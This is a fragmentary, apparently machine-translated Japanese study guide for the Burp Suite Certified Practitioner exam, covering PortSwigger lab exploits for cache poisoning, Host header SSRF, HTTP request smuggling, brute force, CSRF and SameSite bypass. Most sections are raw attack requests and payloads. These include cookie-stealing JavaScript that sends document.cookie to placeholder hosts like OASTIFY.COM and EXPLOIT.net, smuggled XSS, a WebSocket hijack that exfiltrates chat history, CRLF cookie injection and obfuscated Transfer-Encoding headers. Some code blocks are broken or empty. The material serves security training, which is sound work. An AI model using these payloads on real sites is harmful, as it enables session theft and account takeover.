>`callback`パラメータはキー付きであるため、被害者ユーザーのキャッシュをポイズニングすることはできません。しかし、重複したパラメータを`utm_content`と組み合わせると、それは除外され、キャッシュをポイズニングできるようになります。```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

以下はキャッシュクローキングのCookieキャプチャペイロードです。被害者が保存されたキャッシュにヒットするまでキャッシュポイズニングを続けてください。``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2
>以下は [Url Decoded](https://www.urldecoder.org/) ペイロードです。```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2
エクスプロイトサーバーを指定した2つ目のHostヘッダーを追加すると、曖昧なキャッシュ脆弱性を特定し、リクエストをルーティングします。2つ目のHostヘッダーに指定されたエクスプロイトサーバーが、
/resources/js/tracking.jsからスクリプトをインポートするために使用される絶対URLに反映されることに注意してください。```html Host: TARGET.net Host: exploit.net
>エクスプロイトサーバー上で、ターゲットが呼び出す ```/resources/js/tracking.js``` と同じパスにファイルを配置します。これにはペイロードが含まれます。クッキースティーラーを実行するために、以下のJavaScriptペイロードコードを配置してください。```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

レスポンス内のキャッシュヒットヘッダーを特定し、
次にターゲットがX-Forwarded-HostまたはX-Forwarded-Schemeヘッダーをサポートしているかテストします。
これらのヘッダーは、被害者のセッションCookieを窃取することを可能にする場合があります。
2つの Forwarded ヘッダーをGET
/resources/js/tracking.jsリクエストに追加した場合、location レスポンスヘッダーに変更が生じるかどうかを特定します。これは、複数ヘッダーによるキャッシュのポジティブなポイズニングを 特定 します。```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps

>エクスプロイトサーバー上で、ファイルパスを ```/resources/js/tracking.js``` に変更します
>そして、ポイズンリクエストの ```X-Forwarded-Host: EXPLOIT.net``` ヘッダーを更新します。
>ペイロードをエクスプロイトサーバーのボディに配置します。```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;
キャッシュ バスター(
cb=123)を削除し、被害者がセッションクッキーを盗むためのエクスプロイトサーバーのペイロード tracking.js にリダイレクトされるまで、キャッシュをポイズニングします。
同じ名前で異なる値を持つ2番目のパラメータを追加すると、レスポンスに注入した値が反映されることから、アプリケーションが重複パラメータポイズニングに対して脆弱であることを特定します。
```
GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2
>応答内で重複したコールバックパラメータを渡すことによって呼び出される関数が反映されます。応答では、キャッシュキーが依然としてGETリクエストラインの元のコールバックパラメータから導出されることに注意してください。

>クッキースティーラーのペイロードを機能させることができませんでした......
[PortSwigger Lab: fat GETリクエストによるWebキャッシュポイズニング](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
-----
## ホストヘッダー
[IPアドレスのなりすまし](#spoof-ip-address)
[HOST接続状態](#host-connection-state)
[ホストルーティングベースのSSRF](#host-routing-based-ssrf)
[不正確なHostリクエスト解析によるSSRF](#absolute-get-url--host-ssrf)
### IPアドレスのなりすまし
>変更されたHOSTヘッダーがサポートされていることを***特定***します。これにより、IPアドレスを偽装してIPベースのブルートフォース保護を回避したり、***パスワードリセット***のポイズニングを行うためのリダイレクト攻撃を実行したりできます。
>以下の`X- `ヘッダーを含め、リクエストを送信する前にパスワードリセットリクエストのusernameパラメータを`Carlos`に変更します。
>BSCP試験でこのエクスプロイトを使用した場合、それはユーザー操作を必要とする脆弱性を使用しておらず、エクスプロイトサーバーの`Deliver exploit to victim`機能を使用して管理者としてステージ3にアクセスするためのインタラクション脆弱性を利用していないことを意味します。```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net
fullfox からのヒントと注意事項:
Host: または X-Forwarded-Host: を使用してホストヘッダーを偽装する際、Invalid hostname エラーが発生した場合は、次のホスト名を試してください: xxx.oastify.com?TARGET.net(スラッシュを含まない正規のターゲット URL)。エクスプロイトサーバーのログを確認して、被害者のユーザー名に対するリセットリンクを取得します。

ターゲットは Host ヘッダーを介した ルーティングベースの SSRF に対して脆弱ですが、最初のリクエストの接続状態を検証します。単一接続 を使用してグループ化されたリクエストを順番に送信し、接続ヘッダーを keep-alive に設定すると、ホストヘッダーの検証をバイパスして、ローカルサーバーへの SSRF エクスプロイトが可能になります。```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive
>次のリクエストは、リクエストのグループシーケンス内の2番目のタブです。```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53
csrf=TheCSRFTokenValue&username=carlos
2番目のリクエストが管理者パネルへのアクセスに成功したことに注目してください。

フロントエンドとバックエンドサーバーで構成され、フロントエンドまたはバックエンドがチャンクエンコーディング (HEX) または content-length (10進数) をサポートしていないアーキテクチャ。セキュリティ制御をバイパスして被害者のリクエストを取得し、被害者ユーザーのCookieを使用してアカウントにアクセスします。
TE.CL dualchunk - 転送エンコーディング難読化
TE.CL multiCase - 管理者ブロック
CL.TE multiCase - 管理者ブロック
CL.TE multiCase - Content-Length Cookie窃取
CL.TE multiCase - User-Agent Cookie窃取
HTTP/2スマグリング - CRLFインジェクション Cookie窃取
HTTP/2 TE - 管理者Cookie窃取
重複したヘッダー名が許可されており、脆弱性が dualchunk として検出された場合は、名前と値が Transfer-encoding: cow の追加ヘッダーを追加します。2番目のTEで 難読化 手法を使用します。``` Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-encoding: identity Transfer-encoding: cow
>`Transfer-Encoding` ヘッダーをサポートしている一部のサーバーは、ヘッダーが何らかの方法で**難読化**されている場合、それを処理しないように誘導される可能性があります。
>Repeater メニューで、**"Update Content-Length"** オプションがチェックされていないことを確認してください。```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0\r\n
\r\n

注記: 最後の 0 の後に末尾のシーケンス \r\n\r\n を含める必要があります。
ハッカーがHTTP Syncの脆弱性を介して訪問ユーザーのリクエストを盗むことができるこのシナリオは、どのくらいの頻度で発生するのでしょうか?
/adminポータル URL パスにアクセスしようとすると、フィルターメッセージPath /admin is blockedが表示されます。HTTP Request Smuggler スキャナーは、この脆弱性をTE.CL multiCase (delayed response)として 識別 します。注記: バックエンドサーバーがチャンク転送エンコーディングをサポートしていないため、Repeater メニューのUpdate Content-Lengthをオフにしてください。
自動コンテンツ長更新を無効にした後、
HTTP/1.1に変更し、以下のリクエストを2回送信します。2番目のヘッダーContent-Length: 15を追加すると、最初のリクエストと HOST ヘッダーが競合するのを防げます。
注記: 最後の0の後に末尾のシーケンス\r\n\r\nを含める必要があります。
リクエストスマグリング攻撃で長さフィールドを手動で修正するには、各チャンクのサイズを 16進数 で表したバイト数で指定し、Content-Length はメッセージ本文の長さを バイト で指定します。チャンクの後には 改行 が続き、その後にチャンクの内容が続きます。メッセージはサイズがゼロのチャンクで終了します。```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked
71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15
x=1 0
>TE.CL(Transfer-Encoding / Content-Length)のスマグリングリクエスト長を**16進数**で計算します。ペイロードは、16進数の長さ**71**と終端の**ZERO**の間に位置し、その長さにはZERO自体も、ZEROの直前の行にある`\r\n`も含まれません。最初のPOSTリクエストの**content-length**は手動で設定されます。

>ユーザーを削除するために`/admin/delete?username=carlos`を送信する場合、転送エンコーディングの16進数の長さは、追加のスマグリングリクエストサイズを含めるために`71`から`88`の16進値に変更されます。
[PortSwigger Lab: フロントエンドのセキュリティ制御をバイパスするためのHTTPリクエストスマグリングの悪用、TE.CL脆弱性](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)
### CL.TE multiCase - 管理者ブロック
>`/admin`ポータルのURLパスにアクセスしようとすると、フィルタメッセージ`Path /admin is blocked`が表示されます。HTTP Request Smugglerスキャナは、この脆弱性を`CL.TE multiCase (delayed response)`として***識別***します。
>adminパネルにアクセスするには、以下のリクエストを2回送信し、2番目のヘッダーに```Content-Length: 10```を追加して、HOSTヘッダーが最初のリクエストと競合するのを防ぎます。```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
2回目のリクエスト送信時には、レスポンスとして管理ポータルが返されます。

被害者のリクエストをキャプチャするための大きなContent-Length。実際の長さよりも長いContent-Lengthでスモグリングされたリクエストを含むPOSTリクエストを送信すると、被害者が閲覧した際に、そのクッキーセッション値がblobコメントに投稿されます。コメント投稿リクエストのContent-Lengthを798に増やしてから、バックエンドサーバーにPOSTリクエストをスモグリングします。```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue
csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

>上記^^のスモグリングされたPOSTリクエストの末尾には改行がありません。
>ブログの**投稿**を表示して、ユーザーのリクエストを含むコメントがあるかどうかを確認します。被害者ユーザーが対象ウェブサイトを閲覧すると、そのとき初めて攻撃が成功することに注意してください。ブログの投稿コメントからユーザーのCookieヘッダーをコピーし、そのCookieを使用して被害者のアカウントにアクセスします。

[PortSwigger Lab: HTTPリクエストスモグリングを悪用して他のユーザーのリクエストを取得する](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)
### CL.TE multiCase - User-Agent Cookieスティーラー
>***特定***: UserAgent値は、ブログのコメントフォームを読み込むGETリクエストに保存され、**User-Agent**のhidden値にも保存されています。HTTPリクエストスモグリングを悪用して、スモグリングされたリクエスト内に配置された**User-Agent**値を使用した反射型XSSを配信します。
>HTMLドキュメントからエスケープする基本的なクロスサイトスクリプティング(XSS)ペイロード。```JavaScript
"/><script>alert(1)</script>
COOKIE STEALER Payload.```JavaScript a"/>;
>このXSSリクエストをバックエンドサーバーに密輸し、次の訪問者を攻撃できるようにしてください。XSS Cookieスティーラーを**User-Agent**ヘッダーに配置してください。```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1

被害者がターゲットを閲覧したときに受信したPortSwigger Collaboratorリクエストを確認してください。

フロントエンドサーバーが受信ヘッダーを適切にサニタイズせず、HTTP/2リクエストをダウングレードするため、ターゲットはリクエストスモグリングに対して脆弱です。悪用は、HTTP/2専用のリクエストスモグリングベクトルを使用して、被害者のセッションCookieを盗み、ユーザーのアカウントにアクセスすることです。
特定:ターゲットがCookieに基づいて以前および最近の検索履歴を反映する場合の潜在的な脆弱性。Cookieを削除すると、検索履歴がリセットされることに気づき、それがセッションCookieに結び付けられていることが確認されます。

インスペクタのRequest Attributesセクションを展開し、プロトコルをHTTP/2に変更します。次に、任意のヘッダー
fooを値barで追加し、続けてシーケンス\r\nを追加し、その後にTransfer-Encoding: chunkedを追加します。shift+ENTER を押します。

注:Allow HTTP/2 ALPN overrideオプションを有効にし、HTTP/2リクエストのボディを以下のPOSTリクエストに変更します。```html 0
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800
search=nutty

[PortSwigger Lab: HTTP/2 リクエスト・スムグラング(CRLFインジェクション経由)](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)
[Youtubeデモ:HTTP/2 リクエスト・スムグラング(CRLFインジェクション経由)](https://youtu.be/E-bnCGzl7Rk)
### HTTP/2 TE desync v10a h2path
>フロントエンドサーバーがあいまいな長さのHTTP/2リクエストであってもダウングレードするため、ターゲットはリクエストスムグラングに対して脆弱です。ターゲットを訪問する管理者のセッションCookieを窃取します。Burp拡張機能の **HTTP Request Smuggler** は、この脆弱性をHTTP/2 TE desync v10a(H2.TE)脆弱性として ***特定*** します。

>注: インスペクタのリクエスト属性で **HTTP/2** に切り替え、リピートメニューの **Allow HTTP/2 ALPN override** オプションを有効にしてください。```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n
注:POST と GET の両方のリクエストのパスは、存在しないエンドポイントを指しています。これは、404 応答が返らない場合に、その応答が被害者ユーザーからキャプチャされたリクエストによるものであることを 識別 するのに役立ちます。忘れずに、Host ヘッダーの後にシーケンス
\r\n\r\nを含めて、スモグリングされたリクエストを適切に終了させてください。

盗んだセッションクッキーの値を、管理者パネルへの新しい http/2 GET リクエストにコピーしてください。``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0

[PortSwigger Lab: H2.TE リクエストスマグリングによるレスポンスキューポイズニング](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
-----
## Brute Force
[Stay-Logged-in](#stay-logged-in)
[Stay-logged-in オフラインクラック](#stay-logged-in-offline-crack)
[ブルートフォース保護ログイン](#brute-force-protected-login)
[微妙に無効なログイン](#subtly-invalid-login)
### Stay-Logged-in
>ログイン状態を保持するチェックボックスがあるログインオプションでは、Cookie の値にログインユーザーのパスワードが含まれており、ブルートフォース攻撃に対して脆弱です。

>攻撃を開始する前に、以下のエクスプロイト手順と、Intruder の Payload 処理ルール、および GREP オプションを順に実行します。
1. 現在のユーザーとしてログアウトします。
2. 最新の GET /my-account リクエストを Burp Intruder に送信します。
3. Cookie: ```stay-logged-in``` をインジェクションポジションとして選択します。
4. ハッシュ: ```MD5```
5. プレフィックスを追加: ```carlos:```
6. エンコード: ```Base64-encode```
7. **GREP** を設定タブに追加し、レスポンス内の文字列 ```Update email``` をチェックして、ログイン成功を示します。

[PortSwigger Lab: stay-logged-in クッキーのブルートフォース](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)
### Stay-logged-in Offline Crack
>ブログアプリケーションのコメント機能は [ストアド XSS](#stored-xss) に対して脆弱です。以下のペイロードをブログコメントで使用して、Carlos のセッション Cookie をエクスプロイトサーバーに送信します。```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>
stay-logged-inクッキーの値を Base64 デコードし、オンラインの MD5 ハッシュクラックステーションデータベースを使用します。

特定済み: バックエンドが30分の禁止を強制するログイン時のブルートフォース保護。無効なログイン試行が多すぎると IPがブロック される。
X-Forwarded-For:ヘッダーをテストすると、ブルートフォース保護をバイパスできることがわかった。長い無効なパスワードで応答時間を観察することで、Pitchfork テクニックを使用して、ランダムな長いパスワードを持つ最初の有効なユーザー名を 特定 し、その後 Pitchfork でイントルーダーを再実行し、各ペイロード位置の攻撃がすべてのセットを同時に反復処理するように設定できる。
ペイロード位置1を
X-Forwarded-For:の IP アドレスに設定し、位置2をユーザー名に設定して長いパスワードを入れると、アタック列ウィンドウで 応答時間の遅延 を確認できる。``` X-Forwarded-For: 12.13.14.15

>上記の**Pitchfork** Intruder攻撃をパスワードフィールドに対して繰り返し、ステータス列の302結果から有効なパスワードを***特定***します。
[PortSwigger Lab: Username enumeration via response timing](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)
### 微妙に無効なログイン
>ログインページとパスワードリセットがブルートフォース攻撃から保護されておらず、無効なユーザー名またはパスワードに対してIPブロックやタイムアウトが実施されていないことを***特定***します。
>BSCP試験のヒント: 弱いパスワードを持つ別のユーザーが存在し、ブルートフォースできる場合があります。ステージ1で足がかりアクセスを得るための標的アカウントは、必ずしもCarlosとは限りません。

>Intruder攻撃列のGREP値 ```Invalid username or password.``` に注目してください。失敗したユーザー名攻撃のレスポンスメッセージの1つは、末尾にピリオド(終止符)が含まれていません。この***特定***されたユーザー名で攻撃を繰り返し、**Sniper**でパスワードフィールドを攻撃して、有効なログインの```302```レスポンスを***特定***します。

>BSCP試験では、返される他の異なるメッセージに***注意***し、アプリケーション上で有効なアカウントを開示し、アカウントパスワードのブルートフォースによる***特定***を可能にするものを探してください。例えば、[パスワードリセット更新](#refresh-password-broken-logic)機能のようなものです。
>異なるレスポンスメッセージから有効なユーザー名を特定したら、Burp Intruderを使用してパスワードに対して[ブルートフォース](#brute-force)を実行します。
[PortSwigger Lab: Username enumeration via subtly different responses](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)
>WEB APP上の有効なユーザー名を特定する別のシナリオは、ログイン時にユーザー名のリストと1つの無効なパスワード値を提供することです。Intruder攻撃結果では、1つのレスポンスに `Incorrect password` というメッセージが含まれます。
>Intruder攻撃の注入位置、`username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.
[PortSwigger Lab: Username enumeration via different responses](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)
-----
## 認証
[アカウント登録](#account-registration)
[Auth Token バイパスマクロ](#auth-token-bypass-macro)
### アカウント登録
>アカウント登録機能のビジネスロジックの欠陥により、対象ユーザーのロールアクセスとして足がかりを得ることができます。[コンテンツディスカバリ](#content-discovery)でパス ```/admin``` を見つけると、**DontWannaCry** ユーザーとしてログインしている場合にのみAdminインターフェースが利用可能であるというメッセージが表示されます。

>```@``` 記号の前に200文字を超えるメールアドレスを作成すると、255文字に切り詰められます。これにより、アカウント登録ページのロジックの**欠陥**という脆弱性が***特定***されます。下のメールでは、```@dontwannacry.com``` の末尾の ```m``` はちょうど255文字目です。```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

ログイン認証が、各ログインPOSTで使用されるランダムトークンによってブルートフォースから保護されている場合、Burp マクロを使用して保護をバイパスできます。
Burp マクロを作成する
Macros までスクロールし、新しいマクロを追加します。Configure item をクリックし、抽出するカスタムパラメータの場所を追加します。Include all URLs を選択します。
OAuth
Referer 検証 CSRF
Referer ヘッダーが存在する
LastSearchTerm
Cookie 内での CSRF 重複
CSRF トークンが存在する
ログインしているか
CSRF 防御なし
SameSite Strict バイパス
SameSite Lax バイパス
クロスサイトリクエストフォージェリ(CSRF)の脆弱性により、攻撃者はユーザーに意図しない操作を強制できます。これにより、攻撃者は被害者のメールアドレスを変更し、パスワードリセットを使用してアカウントを乗っ取ることができます。
OAuth リンキングのエクスプロイトサーバーが iframe をホストし、それを被害者に配信して、ユーザーにリンクされたコードを強制的に更新させます。

GET /oauth-linking?code=[...] をインターセプトし、Repeater に送信してコードを保存します。リクエストは Drop します。コードが使用されず、有効なままであることを確認することが重要です。エクスプロイトサーバーには、コピーした URL を指す
src属性を持つ iframe を保存します。```html
[PortSwigger Lab: 強制的なOAuthプロフィールリンク](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
### Referer検証CSRF
>***特定する***:**Referer** ヘッダーの値が変更された場合、レスポンスが `Invalid referer header` というメッセージを返し、リファラ値が期待されたターゲットドメインを値のどこかに含む場合にメール変更が受け入れられることを観察することで、メール変更機能がCSRFに対して脆弱であることを特定します。

>ターゲットの元のドメインを追加し、`history.pushState('', '', '/?TARGET.net');` をクエリ文字列の形で **Referer ヘッダー**に追加すると、メール変更を更新できるようになります。```html
Referrer-Policy: unsafe-url
注記: 通常の Referer ヘッダーの綴りとは異なり、上記のエクスプロイトサーバーの
headセクションでは、"referrer" という単語を正しく綴る必要があります。

CSRF の概念実証エクスプロイトを作成し、エクスプロイトサーバー上でホストします。JavaScript を編集して、history.pushState() 関数の第 3 引数にターゲット URL を含むクエリ文字列を指定します。```html
メールアドレス更新リクエストで
refererヘッダーを変更すると、レスポンスはInvalid referer headerを示し、CSRF 脆弱性を特定できます。エクスプロイトサーバーの CSRF PoC の一部として<meta name="referrer" content="no-referrer">を使用することで、この制御はバイパスできます。これにより、エクスプロイトサーバーはrefererヘッダーなしでエクスプロイトを被害者に配信するよう指示されます。```html

特定:csrfkey Cookieを変更してリクエストが拒否される結果を確認することで、トークンが非セッションCookieに紐付いていないCSRF脆弱性を特定します。検索パラメータからユーザーが入力した値を含むLastSearchTerm Cookie値を観察します。

検索機能にはCSRF保護がないため、以下のペイロードを作成します。このペイロードは改行文字
%0d%0aを注入して、レスポンスに新しいCookie値を設定し、これを使用して被害ユーザーのブラウザにCookieを注入します。``` /?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None
>CSRF POC を生成し、**auto-submit** スクリプトを含めるオプションを有効にして、**Regenerate** をクリックします。**auto-submit** スクリプトのコードブロックを削除し、代わりに以下を追加して、```history.pushState``` スクリプトコードを body header の下に配置します。IMG SRC タグの **onerror** が、代わりに CSRF POC を送信します。```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">
BSCP 試験中に、メール変更の値をエクスプロイトサーバーのメールアドレス [email protected] に設定します。その後、リセット機能で管理者パスワードを変更できます。

下記のCSRF PoCコードでは、隠しcsrf値はメール変更機能で生成されたものであり、
img src内のcsrfkey値は被害者の値で、提供された被害者の認証情報でログインして取得します。試験では確かではありませんが、実際の世界では実行すべきテストです。```html
対象となるアプリケーションでは、CSRFキートークンがCookie値に重複していることを特定します。もう1つの指標は、Cookie
LastSearchTermに検索された値が含まれていることです。%0d%0aを含む検索値を与えることで、行末および改行文字を注入し、新しいCSRF Cookieと値を生成できます。

エクスプロイトコードの
img srcタグで、csrf用のCookieをfakeに設定します。```html
csrfパラメータの値を変更すると、メールアドレス変更リクエストは拒否されます。CSRFトークンを削除すると、メールアドレス変更が受理されます。これにより、トークンが存在することだけを検証している箇所が脆弱であることが特定できます。
エクスプロイトサーバーでホストされるCSRF PoCペイロード:```html
isloggedin という名前の Cookie が 検出された 場合、管理者パスワードを更新するPOSTリクエストが悪用される可能性があります。
低権限ユーザーとしてログインしている間に、username パラメータを administrator に変更します。
CSRFトークンはユーザーセッションに紐付けられていません。```html POST /refreshpassword HTTP/1.1 Host: TARGET.net Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d Content-Length: 60 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://TARGET.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/; X-Forwarded-Host: EXPLOIT.net X-Host: EXPLOIT.net X-Forwarded-Server: EXPLOIT.net Referer: https://TARGET.net/refreshpassword Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close
csrf=TOKEN&username=administrator

### CSRF 防御策なし
>メール変更機能に対する防御策がないターゲットでは、管理者ロールへの権限昇格が可能になります。試験では、エクスプロイトサーバー上でメールアドレスを `[email protected]` に変更することで、攻撃者が管理者ユーザーのパスワードを変更でき、結果として権限昇格が発生します。
>試験ではアクティブユーザーは***1人***だけです。前の段階で、ポイズンキャッシュ攻撃や `Deliver to Victim` 機能によるフィッシング攻撃など、アクティブユーザーがリンクをクリックすることを必要としない攻撃を使用して完了した場合、CSRF 変更エクスプロイトを使用できます。

[PortSwigger Lab: 防御策のない CSRF 脆弱性](https://portswigger.net/web-security/csrf/lab-no-defenses)
### SameSite Strict バイパス
>ライブチャット機能では、`GET /chat HTTP/2` リクエストが予測不可能なトークンを使用していないことに気づきます。[SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions) Cookie 制限をバイパスできる場合、これは[cross-site WebSocket hijacking](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking)(CSWSH)脆弱性の可能性を***特定***できます。
>エクスプロイトサーバーに POC ペイロードをホストして、CSWSH 脆弱性を***特定***します。```
<script>
var ws = new WebSocket('wss://TARGET.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
セッションCookieには
SameSite=Strictが設定されており、これによりブラウザはXSSクロスサイトリクエストにこれらのCookieを含めないようになります。cms-のサブドメインに対するスクリプトおよび画像への追加リクエストで、Access-Control-Allow-Originヘッダーを 特定 しました。
このCDNサブドメインcms-を閲覧し、ランダムなユーザー名入力が反映されることを 特定 したことで、これが 反射型XSS の脆弱性であると確認されました。
cms reflected xss samesite bypass``` https://cms-TARGET.net/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass
>SameSite 制限を回避するには、以下のスクリプト全体を URL エンコードし、エクスプロイトサーバー上でホストされている `cms-` ユーザー名ログインの CDN サブドメインへの入力として使用します。```
<script>
var ws = new WebSocket('wss://TARGE.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
以下をエクスプロイトサーバーでホストし、被害者に配信します。collaborator が被害者のパスワードを含むチャット履歴を受信すると、アカウント乗っ取りにつながります。```
>チャット履歴には被害者のパスワードが含まれています。

[PortSwigger Lab: SameSite Strict バイパス(兄弟ドメイン経由)](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)
### SameSite Lax バイパス
>`/social-login` にアクセスすると、完全な OAuth フローが自動的に開始されることを確認してください。OAuth サーバーにログイン済みのセッションが依然として残っている場合、これはすべて操作なしで発生します。また、プロキシ履歴では、OAuth フローを完了するたびに、既にログインしている場合でも、ターゲットサイトが新しいセッション Cookie を設定することに注意してください。
>ポップアップブロッカーを回避するには、被害者がページをクリックするまでポップアップを開かず、クリックした後にのみ開くように、次の JavaScript を使用します。このエクスプロイト JavaScript コードは、まず被害者のブラウザに `/social-login` を強制的にアクセスさせてセッションを更新し、その後、短い待ち時間の後にメールアドレス変更リクエストを送信します。エクスプロイトを被害者に配信します。```
<form method="POST" action="https://TARGET.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://TARGET.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
アプリケーションのパスワードリセット機能に欠陥がある場合、この脆弱性を悪用して有効なアカウントを特定したり、パスワードリセットトークンを取得したりできます。これにより、有効なユーザーアカウントの特定や権限昇格につながる可能性があります。
これは、アプリケーション上のアクティブユーザーがエクスプロイトとやり取りする必要がなく、ユーザーがリンクをクリックしたり操作したりする必要もないタイプの脆弱性です。BSCP 試験では、アプリケーション上のアクティブユーザーを必要としない脆弱性に注目してください。これは、試験の次の段階で、例えば他のインタラクティブなフィッシングリンクを被害者に送信することが可能になることを意味するからです。
特定:
/forgot-passwordページのソースコード内で、ユーザー名が非表示フィールドであることを確認します。

POST リクエストを悪用し、URL とリクエストボディの両方から
temp-forgot-password-tokenパラメータを削除します。ユーザー名パラメータをcarlosに変更します。

特定: パスワード変更機能が、新しいパスワードを設定する際に
current-passwordパラメータを必要とせず、パスワードが変更されるユーザーが POST パラメータusername=administratorに基づいていることを確認します。
PortSwigger ラボではwiener:peterの認証情報が提供され、これは試験のステージ 1 で低権限ユーザーアクセスを獲得した状態をシミュレートしています。試験において、このパスワードリセットの脆弱性は、アクティブユーザーの操作なしに管理者への権限昇格が可能であることを示す例です。
/my-account/change-passwordリクエストをインターセプトします。csrfトークンは一度きりのランダムな値であるため、username=administratorを設定し、current-passwordパラメータを削除します。

対象サイトはタイムスタンプを使用して、ハッシュ化されたパスワードリセットトークン URL を生成します。
2 人の異なるユーザーに対し、同時にパスワードリセット要求を並行して送信すると、
バックエンドがリセットトークンの生成に同じタイムスタンプを使用するため、重複して一致するトークンが生成されます。
自分たちのユーザー
carlosはメールでリセットトークン URL を受け取り、URL 内の名前を編集して、対象の被害者ユーザーadministratorに合わせます。

ブラインド時間遅延
